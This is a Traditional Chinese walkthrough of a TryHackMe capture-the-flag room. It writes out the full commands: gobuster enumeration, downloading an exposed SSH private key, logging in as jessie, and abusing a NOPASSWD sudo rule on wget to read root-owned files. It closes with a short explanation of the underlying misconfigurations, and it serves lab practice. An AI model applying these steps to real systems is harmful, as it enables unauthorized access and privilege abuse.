TryHackMe Wgel CTF writeup (zh-TW)

題目資訊
- 平台: TryHackMe
- 房間名稱: CorpOne
- 難度: Easy
- 目標: 獲取 user_flag.txt 和 root_flag.txt
- 連結: https://tryhackme.com/room/wgelctf
發現服務
- Port 22: SSH
- Port 80: HTTP
Step 1: Web 目錄枚舉
目錄爆破兩次,找到神秘路徑,撿到私鑰
gobuster dir -u http://10.201.41.182/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -t 20
先找到/sitemap
gobuster dir -u http://10.201.41.182/sitemap -w /usr/share/seclists/Discovery/Web-Content/common.txt -x html
直接看到 .ssh
與 id_rsa
:
http://10.201.41.182/sitemap/.ssh/
把私鑰存到本機並設定權限:
nano id_rsa
chmod 600 id_rsa
Step 2: 判斷使用者帳號
首頁原始碼裡有註解可推得使用者名稱是 jessie:
<!-- Jessie don't forget to udate the webiste -->
Step 3: SSH 登入並取得使用者旗子
用撿到的私鑰登入 jessie,進入後在 ~/Documents
取得 user_flag.txt
:
ssh -i id_rsa [email protected]
jessie@CorpOne:~$ cd Documents
jessie@CorpOne:~/Documents$ ls
user_flag.txt
jessie@CorpOne:~/Documents$ cat user_flag.txt
<redacted>
Step 4: 權限檢查
查看 sudo 權限,發現可免密碼執行 wget
:
jessie@CorpOne:~$ sudo -l
Matching Defaults entries for jessie on CorpOne:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User jessie may run the following commands on CorpOne:
(ALL : ALL) ALL
(root) NOPASSWD: /usr/bin/wget
Step 5: 權限提升
用 wget 讀 root 檔案
利用 sudo /usr/bin/wget -i <file>
的特性,把檔案內容當作 URL 清單讀取;雖然請求會失敗,但錯誤訊息會吐出原文內容,達到以 root 權限「讀檔」的目的。
# 直接讀 /root/root.txt,管線進 less 方便查看
sudo /usr/bin/wget -i /root/root.txt -O /dev/null 2>&1 | less
在輸出中即可看到 root_flag.txt
的內容(或直接顯示旗子文字),複製即可完成。
技術要點
- 目錄列舉與憑證外洩
- HTTP 服務將
.ssh/
目錄對外公開,導致id_rsa
私鑰可被直接下載。
- HTTP 服務將
- 弱安全的部署流程
- 前台註解洩漏有效使用者名稱(jessie),降低登入嘗試難度。
- sudo 配置不當(NOPASSWD: wget)
- 允許以 root 執行
/usr/bin/wget
,可被濫用為:- 讀檔(
-i
將檔案內容當 URL 清單 → 錯誤輸出原文)
- 讀檔(
- 允許以 root 執行
經驗分享
關於Step 5:
這一個方法是針對拿flag這件事,可以利用錯誤輸出吐出flag的內容,不過如果要拿到root權限,可以研究看看其他方法。